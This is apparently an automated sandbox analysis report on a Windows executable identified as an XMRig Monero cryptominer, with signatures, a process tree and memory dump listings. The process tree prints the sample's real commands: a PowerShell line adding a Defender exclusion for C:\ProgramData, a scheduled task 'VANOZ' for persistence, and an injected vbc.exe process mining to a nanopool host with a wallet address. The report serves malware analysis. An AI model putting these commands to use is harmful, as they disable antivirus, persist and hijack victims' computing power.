Analysis
- max time kernel
90s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
07/01/2023, 10:26
General
- Target file.exe
- Size 825KB
- Sample230107-mghlfsdc83
- SHA256 9f53ff0200d085d8e6d3e128f630ff8d304c973312491ea36150bd37cbd1ed63
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1320-171-0x0000028093D00000-0x0000028093D20000-memory.dmp
memory/1320-170-0x0000028093CE0000-0x0000028093D00000-memory.dmp
memory/1320-169-0x0000028093D00000-0x0000028093D20000-memory.dmp
memory/1320-168-0x0000028093CE0000-0x0000028093D00000-memory.dmp
memory/1320-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1320-164-0x0000028093C90000-0x0000028093CD0000-memory.dmp
memory/1320-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1320-162-0x0000028093C40000-0x0000028093C60000-memory.dmp
memory/1320-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1320-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1320-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2784-147-0x000001E830330000-0x000001E830352000-memory.dmp
memory/2784-148-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/2784-149-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/4284-142-0x00000000005C0000-0x00000000006F8000-memory.dmp
memory/4284-133-0x00007FFAB8BB0000-0x00007FFAB8C5A000-memory.dmp
memory/4284-134-0x00007FFAD52D0000-0x00007FFAD536E000-memory.dmp
memory/4284-150-0x0000000000ED0000-0x0000000000F12000-memory.dmp
memory/4284-154-0x00007FFAB8CD0000-0x00007FFAB8D05000-memory.dmp
memory/4284-155-0x00007FFAB23B0000-0x00007FFAB24B2000-memory.dmp
memory/4284-156-0x00007FFAD55D0000-0x00007FFAD563B000-memory.dmp
memory/4284-157-0x00007FFAD3100000-0x00007FFAD313B000-memory.dmp
memory/4284-145-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/4284-144-0x00007FFAD42D0000-0x00007FFAD42F7000-memory.dmp
memory/4284-143-0x00007FFAB8700000-0x00007FFAB884E000-memory.dmp
memory/4284-151-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/4284-141-0x00007FFAD5AA0000-0x00007FFAD5ACB000-memory.dmp
memory/4284-140-0x0000000000ED0000-0x0000000000F12000-memory.dmp
memory/4284-138-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/4284-139-0x00000000005C0000-0x00000000006F8000-memory.dmp
memory/4284-166-0x00000000005C0000-0x00000000006F8000-memory.dmp
memory/4284-167-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp
memory/4284-137-0x00007FFAD5AD0000-0x00007FFAD5C71000-memory.dmp
memory/4284-135-0x00007FFAD1C50000-0x00007FFAD1C62000-memory.dmp
memory/4284-136-0x00007FFAB8850000-0x00007FFAB890D000-memory.dmp